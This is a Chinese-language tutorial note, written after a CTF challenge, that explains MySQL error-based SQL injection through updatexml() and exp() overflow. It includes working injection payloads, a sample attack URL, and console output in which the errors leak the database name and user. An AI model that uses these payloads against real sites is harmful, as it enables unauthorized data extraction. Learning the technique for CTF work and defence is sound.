exp报错注入和updatexml报错注入

前言

做了实验吧一个题,由于过滤比较多,学了两种新接触的报错注入。一下为总结,以便复习,查看,也作为萌新间的分享交流吧。

学习笔记 UpdateXml() MYSQL显错注入

在学习之前,需要先了解 UpdateXml() 。

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

然后咱们再看看语句:

http://www.XXXIII.com/a.php?id=1 and updatexml(1,concat(0x7c,(select database()),0x7c),1)

带入sql语句,大概就是类似这样:

mysql> select * from users where id=1 and updatexml(1,concat(0x7c,(select database()),0x7c),1);
ERROR 1105 (HY000): XPATH syntax error: '|security|'

CONCAT(str1,str2,…)

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

错误大概会是:

ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

原文链接

https://www.cnblogs.com/MiWhite/p/6228491.html

exp溢出报错注入

exp是以e为底的指数函数,

mysql> select exp(1);
+-------------------+
| exp(1)            |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)

但是,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec) 


mysql> select ~(select version());
+----------------------+
| ~(select version())  |
+----------------------+
| 18446744073709551610 |
+----------------------+
1 row in set, 1 warning (0.00 sec)

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

mysql> select exp(~(select * from(select database())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'

在脚本语言中,就会将错误中的一些表达式转化成相应的字符串,即像这样:

DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'

从而实现了报错注入。

原文链接

http://drops.xmd5.com/static/drops/tips-8166.html

你可能感兴趣的:(exp报错注入和updatexml报错注入)